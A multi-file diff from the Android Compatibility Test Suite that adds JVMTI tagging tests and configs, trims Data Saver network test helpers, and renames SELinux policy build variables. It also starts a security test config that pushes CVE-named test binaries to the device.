diff --git a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
new file mode 100644
index 0000000..4bc581f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest986DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_986" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest986HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest986DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_986" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
new file mode 100644
index 0000000..6914162
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest986DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml
new file mode 100644
index 0000000..4c12d93
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_986">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="986" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_986" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/tagging/Android.mk b/hostsidetests/jvmti/tagging/Android.mk
new file mode 100644
index 0000000..61e06a4
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiTaggingHostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/tagging/AndroidTest.xml b/hostsidetests/jvmti/tagging/AndroidTest.xml
new file mode 100644
index 0000000..2cee989
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiTaggingDeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.tagging" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiTaggingHostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiTaggingDeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.tagging" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/tagging/app/Android.mk b/hostsidetests/jvmti/tagging/app/Android.mk
new file mode 100644
index 0000000..343dc32
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiTaggingDeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/tagging/app/AndroidManifest.xml b/hostsidetests/jvmti/tagging/app/AndroidManifest.xml
new file mode 100755
index 0000000..03509ce
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/app/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.tagging">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.tagging" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/tagging/app/src/android/jvmti/cts/JvmtiTaggingTest.java b/hostsidetests/jvmti/tagging/app/src/android/jvmti/cts/JvmtiTaggingTest.java
new file mode 100644
index 0000000..d695f9f
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/app/src/android/jvmti/cts/JvmtiTaggingTest.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.jvmti.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import java.lang.ref.WeakReference;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.LinkedList;
+import java.util.List;
+import org.junit.Before;
+import org.junit.Test;
+
+import art.Main;
+
+/**
+ * Check tagging-related functionality.
+ */
+public class JvmtiTaggingTest extends JvmtiTestBase {
+
+    private static WeakReference<Object> test() {
+        Object o1 = new Object();
+        Main.setTag(o1, 1);
+
+        Object o2 = new Object();
+        Main.setTag(o2, 2);
+
+        assertEquals(1, Main.getTag(o1));
+        assertEquals(2, Main.getTag(o2));
+
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().gc();
+
+        assertEquals(1, Main.getTag(o1));
+        assertEquals(2, Main.getTag(o2));
+
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().gc();
+
+        Main.setTag(o1, 10);
+        Main.setTag(o2, 20);
+
+        assertEquals(10, Main.getTag(o1));
+        assertEquals(20, Main.getTag(o2));
+
+        return new WeakReference<Object>(o1);
+    }
+
+    // Very simplistic tagging.
+    @Test
+    public void testTagging() throws Exception {
+        test();
+    }
+
+    @Test
+    public void testTaggingGC() {
+        WeakReference<Object> weak = test();
+
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().gc();
+
+        if (weak.get() != null) {
+            throw new RuntimeException("WeakReference not cleared");
+        }
+    }
+
+    private ArrayList<Object> l;
+
+    @Test
+    public void testGetTaggedObjects() {
+        // Use an array list to ensure that the objects stay live for a bit. Also gives us a source
+        // to compare to. We use index % 10 as the tag.
+        l = new ArrayList<>();
+
+        for (int i = 0; i < 20; i++) {
+            Integer o = new Integer(i);
+            l.add(o);
+            if (i % 10 != 0) {
+                Main.setTag(o, i % 10);
+            }
+        }
+
+        GetTaggedObjectsExpectation exp1 = new GetTaggedObjectsExpectation(18);
+        getTaggedObjectsRun(null, false, false, exp1);
+
+        GetTaggedObjectsExpectation exp2 = new GetTaggedObjectsExpectation(18);
+        exp2.add(l.get(1), 1).add(l.get(11), 1).add(l.get(2), 2).add(l.get(12), 2).add(l.get(3), 3)
+                .add(l.get(13), 3).add(l.get(4), 4).add(l.get(14), 4).add(l.get(5), 5)
+                .add(l.get(15), 5).add(l.get(6), 6).add(l.get(16), 6).add(l.get(7), 7)
+                .add(l.get(17), 7).add(l.get(8), 8).add(l.get(18), 8).add(l.get(9), 9)
+                .add(l.get(19), 9);
+        getTaggedObjectsRun(null, true, true, exp2);
+
+        GetTaggedObjectsExpectation exp3 = new GetTaggedObjectsExpectation(4);
+        exp3.add(l.get(2), 2).add(l.get(12), 2).add(l.get(5), 5).add(l.get(15), 5);
+        getTaggedObjectsRun(new long[] {2, 5}, true, true, exp3);
+
+        GetTaggedObjectsExpectation exp4 = new GetTaggedObjectsExpectation(18);
+        exp4.add(null, 1).add(null, 1).add(null, 2).add(null, 2).add(null, 3).add(null, 3)
+                .add(null, 4).add(null, 4).add(null, 5).add(null, 5).add(null, 6).add(null, 6)
+                .add(null, 7).add(null, 7).add(null, 8).add(null, 8).add(null, 9).add(null, 9);
+        getTaggedObjectsRun(null, false, true, exp4);
+
+        GetTaggedObjectsExpectation exp5 = new GetTaggedObjectsExpectation(18);
+        for (int i = 0; i < l.size(); i++) {
+            if (i % 10 != 0) {
+                exp5.add(l.get(i), 0);
+            }
+        }
+        getTaggedObjectsRun(null, true, false, exp5);
+
+        l = null;
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().gc();
+    }
+
+    private static void getTaggedObjectsRun(long[] searchTags, boolean returnObjects,
+            boolean returnTags, GetTaggedObjectsExpectation exp) {
+        Object[] result = getTaggedObjects(searchTags, returnObjects, returnTags);
+
+        Object[] objects = (Object[]) result[0];
+        long[] tags = (long[]) result[1];
+        int count = (int) result[2];
+
+        exp.check(count, objects, tags);
+    }
+
+    private static class GetTaggedObjectsExpectation {
+        List<Pair> expectations = new LinkedList<>();
+        int count;
+
+        public GetTaggedObjectsExpectation(int c) {
+            count = c;
+        }
+
+        public void check(int count, Object[] objects, long[] tags) {
+            assertEquals(this.count, count);
+
+            if (objects == null && tags == null) {
+                assertTrue(expectations.isEmpty());
+                return;
+            }
+
+            int l1 = objects == null ? 0 : objects.length;
+            int l2 = tags == null ? 0 : tags.length;
+            int l = Math.max(l1, l2);
+            List<Pair> tmp = new ArrayList<>(l);
+            for (int i = 0; i < l; i++) {
+                tmp.add(new Pair(objects == null ? null : objects[i], tags == null ? 0 : tags[i]));
+            }
+            Collections.sort(tmp);
+            Collections.sort(expectations);
+
+            if (!expectations.equals(tmp)) {
+                for (int i = 0; i < expectations.size(); i++) {
+                    Pair p1 = expectations.get(i);
+                    Pair p2 = tmp.get(i);
+                    if (!p1.equals(p2)) {
+                        String s = "Not equal: " + p1 + "[" + System.identityHashCode(p1.obj) +
+                                "] vs " + p2 + "[" + System.identityHashCode(p2.obj);
+                        throw new RuntimeException(s);
+                    }
+                }
+            }
+
+            assertEquals(expectations, tmp);
+        }
+
+        public GetTaggedObjectsExpectation add(Object o, long l) {
+            expectations.add(new Pair(o, l));
+            return this;
+        }
+    }
+
+    private static class Pair implements Comparable<Pair> {
+        Object obj;
+        long tag;
+
+        public Pair(Object o, long t) {
+            obj = o;
+            tag = t;
+        }
+
+        @Override
+        public boolean equals(Object obj) {
+            if (obj instanceof Pair) {
+                Pair p = (Pair)obj;
+                return tag == p.tag && (p.obj == null ? this.obj == null : p.obj.equals(this.obj));
+            }
+            return false;
+        }
+
+        @Override
+        @SuppressWarnings("unchecked")
+        public int compareTo(Pair p) {
+            if (tag != p.tag) {
+                return Long.compare(tag, p.tag);
+            }
+
+            if ((obj instanceof Comparable) && (p.obj instanceof Comparable)) {
+                // It's not really correct, but w/e, best effort.
+                int result = ((Comparable<Object>) obj).compareTo(p.obj);
+                if (result != 0) {
+                    return result;
+                }
+            }
+
+            if (obj != null && p.obj != null) {
+                return obj.hashCode() - p.obj.hashCode();
+            }
+
+            if (obj != null) {
+                return 1;
+            }
+
+            if (p.obj != null) {
+                return -1;
+            }
+
+            return hashCode() - p.hashCode();
+        }
+
+        @Override
+        public String toString() {
+            return "<" + obj + ";" + tag + ">";
+        }
+    }
+
+    private static native Object[] getTaggedObjects(long[] searchTags, boolean returnObjects,
+            boolean returnTags);
+}
diff --git a/hostsidetests/jvmti/tagging/app/src/art/Main.java b/hostsidetests/jvmti/tagging/app/src/art/Main.java
new file mode 100644
index 0000000..6f569d1
--- /dev/null
+++ b/hostsidetests/jvmti/tagging/app/src/art/Main.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the License
+ * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
+ * or implied. See the License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package art;
+
+/**
+ * This is a definition of generically exposed implementations by the CTS JVMTI agent.
+ */
+public class Main {
+    // Load the given class with the given classloader, and bind all native methods to corresponding
+    // C methods in the agent. Will abort if any of the steps fail.
+    public static native void bindAgentJNI(String className, ClassLoader classLoader);
+    // Same as above, giving the class directly.
+    public static native void bindAgentJNIForClass(Class<?> klass);
+
+    // General functionality shared between tests.
+    public static native void setTag(Object o, long tag);
+
+    public static native long getTag(Object o);
+}
diff --git a/hostsidetests/net/aidl/Android.mk b/hostsidetests/net/aidl/Android.mk
index a7ec6ef..4aa55b6 100644
--- a/hostsidetests/net/aidl/Android.mk
+++ b/hostsidetests/net/aidl/Android.mk
@@ -19,4 +19,4 @@
 LOCAL_SDK_VERSION := current
 LOCAL_SRC_FILES := com/android/cts/net/hostside/IRemoteSocketFactory.aidl
 LOCAL_MODULE := CtsHostsideNetworkTestsAidl
-include $(BUILD_JAVA_LIBRARY)
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index d2720d6..a500348 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -99,7 +99,6 @@
     protected ConnectivityManager mCm;
     protected WifiManager mWfm;
     protected int mUid;
-    private int mMyUid;
     private String mMeteredWifi;
     private boolean mHasWatch;
     private String mDeviceIdleConstantsSetting;
@@ -114,7 +113,7 @@
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWfm = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mUid = getUid(TEST_APP2_PKG);
-        mMyUid = getUid(mContext.getPackageName());
+        final int myUid = getUid(mContext.getPackageName());
         mHasWatch = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_WATCH);
         if (mHasWatch) {
@@ -125,7 +124,7 @@
         mSupported = setUpActiveNetworkMeteringState();
 
         Log.i(TAG, "Apps status on " + getName() + ":\n"
-                + "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
+                + "\ttest app: uid=" + myUid + ", state=" + getProcessStateByUid(myUid) + "\n"
                 + "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
    }
 
@@ -200,21 +199,6 @@
         assertEquals("wrong status", toString(expectedStatus), actualStatus);
     }
 
-    protected void assertMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
-        final int actualStatus = mCm.getRestrictBackgroundStatus();
-        assertEquals("Wrong status", toString(expectedStatus), toString(actualStatus));
-    }
-
-    protected boolean isMyRestrictBackgroundStatus(int expectedStatus) throws Exception {
-        final int actualStatus = mCm.getRestrictBackgroundStatus();
-        if (expectedStatus != actualStatus) {
-            Log.d(TAG, "Expected: " + toString(expectedStatus)
-                    + " but actual: " + toString(actualStatus));
-            return false;
-        }
-        return true;
-    }
-
     protected void assertBackgroundNetworkAccess(boolean expectAllowed) throws Exception {
         assertBackgroundState(); // Sanity check.
         assertNetworkAccess(expectAllowed);
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index 72d0be9..9e4b0c1 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -20,21 +20,16 @@
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
 import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_WHITELISTED;
 
-import android.util.Log;
-
 public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
 
     private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
         "com.android.providers.downloads"
     };
 
-    private boolean mIsDataSaverSupported;
-
     @Override
     public void setUp() throws Exception {
         super.setUp();
 
-        mIsDataSaverSupported = isDataSaverSupported();
         if (!isSupported()) return;
 
         // Set initial state.
@@ -64,32 +59,6 @@
         return setMeteredNetwork();
     }
 
-    @Override
-    protected boolean isSupported() throws Exception {
-        if (!mIsDataSaverSupported) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Data Saver Mode");
-        }
-        return mIsDataSaverSupported && super.isSupported();
-    }
-
-    /**
-     * As per CDD requirements, if the device doesn't support data saver mode then
-     * ConnectivityManager.getRestrictBackgroundStatus() will always return
-     * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
-     * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
-     * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
-     */
-    private boolean isDataSaverSupported() throws Exception {
-        assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        try {
-            setRestrictBackground(true);
-            return !isMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        } finally {
-            setRestrictBackground(false);
-        }
-    }
-
     public void testGetRestrictBackgroundStatus_disabled() throws Exception {
         if (!isSupported()) return;
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index 075fce6..2bd3c39 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -84,6 +84,11 @@
  *   https://android-review.googlesource.com/#/c/99225/
  *   https://android-review.googlesource.com/#/c/100557/
  *
+ * To ensure that the kernel has the required commits, run the kernel unit
+ * tests described at:
+ *
+ *   https://source.android.com/devices/tech/config/kernel_network_tests.html
+ *
  */
 public class VpnTest extends InstrumentationTestCase {
 
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index 492a2ec..6595262 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/hostsidetests/os/Android.mk b/hostsidetests/os/Android.mk
index 8e334fe..bb5154f 100644
--- a/hostsidetests/os/Android.mk
+++ b/hostsidetests/os/Android.mk
@@ -27,8 +27,6 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.host.os
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
diff --git a/hostsidetests/os/OldAndroidTest.xml b/hostsidetests/os/OldAndroidTest.xml
deleted file mode 100644
index 6694c30..0000000
--- a/hostsidetests/os/OldAndroidTest.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="CTS package preparer for install/uninstall of the apk used as a test operation target">
-    <include name="common-config" />
-    <option name="cts-apk-installer:test-file-name" value="CtsDeviceOsTestApp.apk" />
-</configuration>
diff --git a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
index 76aa570..7ab0433 100644
--- a/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
+++ b/hostsidetests/os/test-apps/HostLinkVerificationApp/Android.mk
@@ -21,8 +21,6 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
 
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
 LOCAL_PACKAGE_NAME := CtsHostLinkVerificationApp
 
 # Tag this module as a cts test artifact
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index 418ce38..e28e2b47 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -36,24 +36,24 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.host.security
 
-selinux_general_seapp_contexts := $(call intermediates-dir-for,ETC,general_seapp_contexts)/general_seapp_contexts
+selinux_plat_seapp_contexts := $(call intermediates-dir-for,ETC,plat_seapp_contexts)/plat_seapp_contexts
 
-selinux_general_seapp_neverallows := $(call intermediates-dir-for,ETC,general_seapp_neverallows)/general_seapp_neverallows
+selinux_plat_seapp_neverallows := $(call intermediates-dir-for,ETC,plat_seapp_neverallows)/plat_seapp_neverallows
 
-selinux_general_file_contexts := $(call intermediates-dir-for,ETC,general_file_contexts.bin)/general_file_contexts.bin
+selinux_plat_file_contexts := $(call intermediates-dir-for,ETC,plat_file_contexts)/plat_file_contexts
 
-selinux_general_property_contexts := $(call intermediates-dir-for,ETC,general_property_contexts)/general_property_contexts
+selinux_plat_property_contexts := $(call intermediates-dir-for,ETC,plat_property_contexts)/plat_property_contexts
 
-selinux_general_service_contexts := $(call intermediates-dir-for,ETC,general_service_contexts)/general_service_contexts
+selinux_plat_service_contexts := $(call intermediates-dir-for,ETC,plat_service_contexts)/plat_service_contexts
 
 LOCAL_JAVA_RESOURCE_FILES := \
     $(HOST_OUT_EXECUTABLES)/checkseapp \
     $(HOST_OUT_EXECUTABLES)/checkfc \
-    $(selinux_general_seapp_contexts) \
-    $(selinux_general_seapp_neverallows) \
-    $(selinux_general_file_contexts) \
-    $(selinux_general_property_contexts) \
-    $(selinux_general_service_contexts)
+    $(selinux_plat_seapp_contexts) \
+    $(selinux_plat_seapp_neverallows) \
+    $(selinux_plat_file_contexts) \
+    $(selinux_plat_property_contexts) \
+    $(selinux_plat_service_contexts)
 
 selinux_general_policy := $(call intermediates-dir-for,ETC,general_sepolicy.conf)/general_sepolicy.conf
 
@@ -61,14 +61,7 @@
 
 selinux_neverallow_gen_data := cts/tools/selinux/SELinuxNeverallowTestFrame.py
 
-old_cts_sepolicy-analyze := $(CTS_TESTCASES_OUT)/sepolicy-analyze
-
-LOCAL_ADDITIONAL_DEPENDENCIES := $(COMPATIBILITY_TESTCASES_OUT_cts)/sepolicy-analyze \
-    $(old_cts_sepolicy-analyze)
-
-$(old_cts_sepolicy-analyze) : $(HOST_OUT_EXECUTABLES)/sepolicy-analyze
-	mkdir -p $(dir $@)
-	$(copy-file-to-target)
+LOCAL_ADDITIONAL_DEPENDENCIES := $(COMPATIBILITY_TESTCASES_OUT_cts)/sepolicy-analyze
 
 LOCAL_GENERATED_SOURCES := $(call local-generated-sources-dir)/android/cts/security/SELinuxNeverallowRulesTest.java
 
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 0056e81..cd68c69 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -14,6 +14,38 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS Security host tests">
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CVE-2016-8412->/data/local/tmp/CVE-2016-8412" />
+        <option name="push" value="CVE-2016-8444->/data/local/tmp/CVE-2016-8444" />
+        <option name="push" value="CVE-2016-8448->/data/local/tmp/CVE-2016-8448" />
+        <option name="push" value="CVE-2016-8449->/data/local/tmp/CVE-2016-8449" />
